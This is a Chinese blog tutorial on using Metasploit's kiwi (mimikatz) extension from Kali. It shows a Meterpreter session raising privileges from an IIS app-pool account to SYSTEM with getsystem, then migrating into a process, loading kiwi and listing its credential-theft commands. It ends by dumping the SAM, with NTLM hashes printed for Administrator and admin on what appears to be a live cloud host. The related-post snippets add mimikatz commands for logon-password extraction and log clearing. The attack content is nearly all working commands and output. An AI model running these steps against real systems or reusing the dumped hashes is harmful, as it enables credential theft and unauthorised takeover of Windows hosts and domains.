kali下通过msf中kiwi(mimikatz)模块的使用

已于 2023-09-19 15:42:09 修改
阅读量1k 收藏 7
点赞数
分类专栏： 工具 提权总结 文章标签： kalilinux msf kiwi mimikatz
于 2023-09-11 20:25:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u010025272/article/details/132816216
版权

一、简介：

kiwi模块：
  mimikatz模块已经合并为kiwi模块；使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。

二、前权：

提权到system权限：
1.1 提到system有两个方法：
  一是当前的权限是administrator用户；
  二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。
1.2 进行提权：

getuid      #查看当前会话用户身份
getsystem   #自动尝试提权

当前是普通权限

meterpreter > getuid
Server username: IIS APPPOOL\web

通过getsystem提权成功

meterpreter > getsystem -t 6
...got system via technique 6 (Named Pipe Impersonation (EFSRPC variant - AKA E                                              fsPotato)).

同通过ps查看进程

meterpreter > ps

Process List
============

 PID   PPID  Name                Arch  Session  User                          Path
 ---   ----  ----                ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System              x64   0
 300   4     smss.exe            x64   0
 316   616   sqlservr.exe        x64   0        NT SERVICE\MSSQLSERVER        C:\Program Files\Microsoft SQL Serve
                                                                              r\MSSQL12.MSSQLSERVER\MSSQL\Binn\sql
                                                                              servr.exe
 328   616   vsvnhttpsvc.exe     x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Program Files\VisualSVN Server\bi
                                                                              n\vsvnhttpsvc.exe
 360   932   WUDFHost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\WUDFHost.exe
 396   388   csrss.exe           x64   0
 416   720   WmiPrvSE.exe        x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\wbem\WmiPrvSE.ex
                                                                              e
 476   388   wininit.exe         x64   0
 484   468   csrss.exe           x64   1
 572   468   winlogon.exe        x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 580   1104  taskhostw.exe       x64   2        172_19_0_5\admin              C:\Windows\System32\taskhostw.exe
 616   476   services.exe        x64   0
 632   476   lsass.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 648   616   svchost.exe         x64   2        172_19_0_5\admin              C:\Windows\System32\svchost.exe
 720   616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 784   616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 880   572   LogonUI.exe         x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe
 888   572   dwm.exe             x64   1        Window Manager\DWM-1          C:\Windows\System32\dwm.exe
 924   616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 932   616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1020  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1064  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1096  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1104  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1244  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1264  616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1276  720   ChsIME.exe          x64   2        172_19_0_5\admin              C:\Windows\System32\InputMethod\CHS\
                                                                              ChsIME.exe
 1752  616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1820  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1864  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1892  616   BaradAgent.exe      x86   0        NT AUTHORITY\SYSTEM           C:\Program Files\QCloud\Monitor\Bara
                                                                              d\BaradAgent.exe
 1968  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1992  616   sqlwriter.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Microsoft SQL Serve
                                                                              r\90\Shared\sqlwriter.exe
 2000  616   sgagent.exe         x86   0        NT AUTHORITY\SYSTEM           C:\Program Files\QCloud\Stargate\sga
                                                                              gent.exe
 2008  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 2020  616   tat_agent.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\QCloud\tat_agent\ta

迁移进程

meterpreter > migrate 3820
[*] Migrating from 5320 to 3820...
[*] Migration completed successfully.

加载 load mimikatz

meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

通过help kiwi 查看帮助

meterpreter > help kiwi

Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_livessp          Retrieve Live SSP creds
    creds_msv              Retrieve LM/NTLM creds (parsed)
    creds_ssp              Retrieve SSP creds
    creds_tspkg            Retrieve TsPkg creds (parsed)
    creds_wdigest          Retrieve WDigest creds (parsed)
    dcsync                 Retrieve user account information via DCSync (unparsed)
    dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets (unparsed)
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute an arbitary mimikatz command (unparsed)
    lsa_dump_sam           Dump LSA SAM (unparsed)
    lsa_dump_secrets       Dump LSA secrets (unparsed)
    password_change        Change the password/hash of a user
    wifi_list              List wifi profiles/creds for the current user
    wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)

一些有关密码和凭据的命令：

creds_all：             #列举所有凭据
creds_kerberos：        #列举所有kerberos凭据
creds_msv：             #列举所有msv凭据
creds_ssp：             #列举所有ssp凭据
creds_tspkg：           #列举所有tspkg凭据
creds_wdigest：         #列举所有wdigest凭据
dcsync：                #通过DCSync检索用户帐户信息
dcsync_ntlm：           #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create：  #创建黄金票据
kerberos_ticket_list：  #列举kerberos票据
kerberos_ticket_purge： #清除kerberos票据
kerberos_ticket_use：   #使用kerberos票据
kiwi_cmd：              #执行mimikatz的命令，后面接mimikatz.exe的命令
lsa_dump_sam：          #dump出lsa的SAM
lsa_dump_secrets：      #dump出lsa的密文
password_change：       #修改密码
wifi_list：             #列出当前用户的wifi配置文件
wifi_list_shared：      #列出共享wifi配置文件/编码

直接拿到

meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : 172_19_0_5
SysKey : 6a1d3295e5ce0aa1eb9871750b8a0942
Local SID : S-1-5-21-3925609119-1055855973-2504285507

SAMKey : a7560bed1540bf80158f27e92e672d72

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 3f10b4bc33875a54c357b013abdbbb6e

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000003f1 (1009)
User : admin
  Hash NTLM: 4b37422333f67ebc8778d798ad2af741
丢了少年失了心1
关注
  • 0
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
MSF中mimikatz模块的使用
谢公子的博客
11-10 3951
目录 mimikatz模块的加载 mimikatz_command模块的用法 Kerberos模块 Livessp模块 MSV模块(列出密码哈希) SSP模块 tspkg模块 Wdigest模块 mimikatz模块的加载 mimikatz模块的使用需要Administrator权限或者System权限。MSF中自带mimikatz模块，MSF中的 mimikatz 模块同时支...
让 WSL2 中的 Kali 虚拟机使用无线网卡
01-06
让 WSL2 中的 Kali 虚拟机使用无线网卡为什么有这个项目改造 Kali，安装超级工具集WSL2 的改造思路编译内核代码并替换内核编译 USB/IP 工具在 Kali 中挂载无线网卡在 Windows 中提供 USB/IP 服务在 Kali 中启动 USB/IP，以接入 Windows 的 USB 设备加载无线网卡驱动，用 wifite 测试网卡破解功能备份 Kali 虚拟机，直接在其他机器上使用后记 为什么有这个项目   最近在研究破解 WiFi 密码，由于有了新的 WPA3 安全标准，因此，也产生了新的破解思路，即利用WiFi基站漫游功能中用于身份认证的 PMKID ，来直接破解密码
内网渗透神器（Mimikatz）——使用教程，你会的还只有初级工程师的技术吗
最新发布
2401_84446919的博客
04-18 805
在域控上执行)查看域kevin.com内指定用户root的详细信息，包括NTLM哈希等。从sam.hive和system.hive文件中获得NTLM Hash。sr98： 用于SR98设备和T5577目标的RF模块。rdm： RDM（830AL）器件的射频模块。rpc： mimikatz的RPC控制。导出lsass.exe进程中所有的票据。(在域控上执行)读取所有域用户的哈希。acr： ACR模块。开启Wdigest Auth。关闭Wdigest Auth。
kali linux-msf-ssh爆破
10-13
使用 nmap（-A -T4参数） metasploit （直接search 查找，然后 use利用就好了）本模块将测试SSH登录，在一系列的机器和报告成功登录。如果你有一个数据库加载插件和连接到一个数据库，该模块会记录成功登录和HOSTS使您可以跟踪您的访问。
利用Kiwi Syslog收集系统日志.doc
04-24
路由器交换机防火墙等网络设备的系统日志对于排错是非常重要的。虽然这些网络设备本身可以存储日志，但是系统自身存储的日志一般保存时间不超过24小时，并且仅仅以缓存的形式保存在内存里，如果设备关机又重启，之前系统日志就不存在了！
kiwi-browser.apk
03-09
kiwi手机浏览器，给予google开发，支持google插件。 安卓上支持桌面插件的浏览器不是很多，火狐倒是支持但是很卡，还有一个叫yandex的浏览器也支持chrome插件，但是那个浏览器过于臃肿，是俄罗斯互联网巨头（类似BAT）开发的客户端。这个kiwi浏览器是xda上面一个个人开发者的作品，非常简单和轻巧。
metasploit（MSF）渗透超细解说 -- 小黑渗透工具
G_WEB_Xie的博客
05-18 1832
metasploit Framework（msf）里带数千个已知的软件漏洞，并保持持续更新，Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，采用Ruby语言编写。黑掉整个宇宙的称号！！！初心： 记录msfconsole的渗透测试流程，以及每个流程点常用到的一些命令，其中还有一些不足的地方大家可以指出来，我会在本博客中添加补充，也会将大家的名字备注在补充的章节内！！一起加油 ^-^本章出后后续会出实战测试，也会将win和linux常用命令做一期更新。
【工具使用】——MSF使用_MSF中kiwi(mimikatz)模块的使用
weixin_45588247的博客
08-08 9921
文章目录一、简介：二、前提：1. 提权到system权限：1.1 提到system有两个方法：1.2 进行提权：2. 进程迁移：三、kiwi模块的使用：1. creds_all：2. kiwi_cmd： 一、简介： kiwi模块：   mimikatz模块已经合并为kiwi模块；使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。 二、前提： 1. 提权到system权限： 1.1 提到system有两个方法：   一是当前的权限是admin
Kali-linux破解纯文本密码工具mimikatz
2301_77162959的博客
05-22 1077
当成功的获取到一个远程会话时，使用mimikatz工具可以很快的恢复密码。从该界面可以看到，当前系统中bob用户的哈希密码值中。从输出的信息中可以看到，输出的信息类似msv命令输出的信息。唯一不同的就是，这里可以看到使用哈希加密的原始密码。从以上信息中，可以看到bob用户的密码为www.123。从输出的信息中，可以看到获取到了一个与192.168.6.110主机的远程会话。从输出的信息中，可以看到mimikatz模块已加载成功。以上输出的信息就是当前用户摘要式身份验证的信息。搜集整理学习路线&笔记。
内网渗透系列之mimikatz的使用以及后门植入
lza20001103的博客
09-04 4147
内网渗透系列之mimikatz的使用以及后门植入 文章目录内网渗透系列之mimikatz的使用以及后门植入前言mimikatz的使用后门植入msf永久后门植入（1）Meterpreter后门：Metsvc（2）Meterpreter后门：PersistenceNC后门后记 前言 内网渗透最重要的环节就是权限维持，当我们获取到靶机的权限后，当对方的机器关机后，我们所获取的会话也会跟着消失，也就是说当他重新开启后，我们又得重新进行信息收集，漏洞利用，又重复着上一个渗透的过程，工程量就很大了。所以，为了能一直维持
KIWI数据之ALLDATA模块解析及分析项目
07-08
KIWI数据之ALLDATA模块解析及分析项目要求书，非常简单的一个项目说明
kali 渗透msf
11-14
kali渗透测试利器
kiwi浏览器.apk
10-03
超好用的手机浏览器 安卓版的chrome 可以安装扩展插件
Kali msf教程
08-24
kali linux msf系列教程
kali linux msf系列视频教程
10-25
kali linux msf系列教程 -------------------------------------------- kali msf 系列 第一章虚拟机使用 kali msf 系列 第一章虚拟机使用 kali msf 系列 第二章MSF基础使用+第一个实验 kali msf 系列 第三章浏览器漏洞提权 kali msf 系列 第四章利用快捷方式漏洞进行渗透提权 kali msf 系列 第五章利用PDF渗透提权 kali msf 系列 第六章爆破模块讲解 kali msf 系列 第七章木马生成 kali msf 系列 第八章木马免杀 kali msf 系列 第九章持续控制
Kali渗透测试：散列密码破解
Liu_Bruce的博客
05-26 3870
Kali渗透测试：散列密码破解 某些网站的安全机制设置有缺陷，导致自身的关键数据库被渗透。很多用户在不同网站使用的是相同的用户名和密码，因此黑客可以通过获取通过获取用户在A网站的用户名和密码从而尝试登录B网站，这就是“撞库攻击”。 如2014年12月25日开始在互联网上“疯传的”12306网站用户信息，就是黑客通过撞库攻击所获得的。 被泄漏的数据库中的数据大都是明文，不过，现在的数据库大都采用了散列加密的方式保存。如Windows操作系统就采用散列加密的方式保存登录密码。这些密码都是经过了散列加密后保存到
Kali--MSF-永恒之蓝详解（复现、演示、远程、后门、加壳、修复）
Innocence_0的博客
02-26 1260
永恒之蓝（EternalBlue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日，不法分子通过改造“永恒之蓝”制作了wannacry程序，使全世界大范围内遭受了该程序，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。为了维持操作系统的安全，我们能做到的是及时更新，安装补丁，关闭不必要的服务和端口。
kali安装volatility及插件mimikatz
qq_73722777的博客
09-14 3082
vol.py --plugins=[plugins文件夹路径] -f [镜像文件路径] --profile=[操作系统] mimikatz。下载解压后拖入kali内，文件夹改名为volatility，终端cd进入文件夹。下载后拖入volatility/volatility/plugins/解压后拖入kali，使用cd进入文件夹内。下载mimikatz.py文件。2.安装volatility。下载文件distorm3。3.安装mimikatz。4.在终端中使用插件。kali安装pip2。
ONE DAY |网络安全渗透测试之跨网段攻击
EverUP
05-04 1788
渗透测试就是模拟真实黑客的攻击手法对目标网站或主机进行全面的安全评估，与黑客攻击不一样的是，渗透测试的目的是尽可能多地发现安全漏洞，而真实黑客攻击只要发现一处入侵点即可以进入目标系统。一名优秀的渗透测试工程师也可以认为是一个厉害的黑客，也可以被称呼为白帽子。一定要注意的是，在进行渗透测试前，需要获得目标客户的授权，如果未获得授权，千万不要对目标系统进行渗透测试，后果请查看《网络安全法》。同时要有良好的职业操守，不能干一些违法的事情。
kali 中mimikatz使用教程
06-28
### 回答1： 这是一个对于使用 Mimikatz 工具的教程。 Mimikatz 是一个开发者用来获取 Windows 认证凭证的工具，它可以解密 Windows 存储的密码，甚至可以获取经过 NTLM 身份验证的密码。 但请注意，使用这个工具可能会涉及到违法行为，请使用时慎重考虑。 ### 回答2： Mimikatz是一款用于提取Windows凭证的工具，它可以用来获取本地Windows用户和域用户的密码、NTLM哈希值和明文密码。本文将介绍如何通过Kali中的Mimikatz工具来实现提取凭证的操作。 1. 安装Mimikatz Mimikatz是Kali自带的工具，在终端中输入以下命令即可安装： ``` apt-get install mimikatz ``` 2. 运行Mimikatz 进入终端，输入以下命令来运行Mimikatz： ``` mimikatz ``` 如果你使用的是64位版本的系统，你还需要输入以下命令： ``` mimikatz # privilege::debug ``` 这个命令会给你的用户添加更多的访问权限，也就是所谓的debug权限。 3. 提取凭证 接下来，你可以通过以下命令来提取凭证： ``` mimikatz # sekurlsa::logonpasswords ``` 这个命令会输出本地计算机上所有用户的明文密码和NTLM哈希值。 如果你想获取域用户的凭证，可以使用以下命令： ``` mimikatz # sekurlsa::logonpasswords full ``` 这个命令会输出域控制器上所有域用户的明文密码和NTLM哈希值。 4. 清除日志和关闭Mimikatz 运行Mimikatz时默认会生成一些日志文件。如果你不希望这些日志留在计算机上，可以使用以下命令来清除日志： ``` mimikatz # log::clear ``` 最后，输入以下命令来关闭Mimikatz： ``` mimikatz # exit ``` 以上就是通过Kali中的Mimikatz工具来实现提取凭证的操作的详细教程。需要注意的是，Mimikatz是一款非常强大的工具，使用时请谨慎，避免造成不必要的损失。 ### 回答3： Kali是一个开源免费的渗透测试操作系统，而mimikatz是一个密码破解工具，常被黑客用于窃取用户密码，因此Kali与mimikatz结合使用可以进行密码破解和渗透测试。 首先，在Kali中下载安装mimikatz。打开终端，输入以下命令： git clone https://github.com/gentilkiwi/mimikatz.git 然后，进入mimikatz文件夹，编译mimikatz工具： cd mimikatz make 编译完成后，输入以下命令即可使用mimikatz： ./mimikatz 接下来，使用privilege模块提升权限： privilege::debug 然后，使用sekurlsa模块获取系统的登录凭据： sekurlsa::logonpasswords 最后，我们可以通过导出文件的方式保存密码信息，输入以下命令： sekurlsa::logonpasswords full log sekurlsa.log 这样就完成了在Kali中使用mimikatz的教程。需要注意的是，这种密码破解和窃取方法是非法的，只能在授权的渗透测试环境中使用。在实际的工作中，我们要始终遵循合法合规的原则，做好安全防护和风险评估工作，确保系统和数据的安全。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丢了少年失了心1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值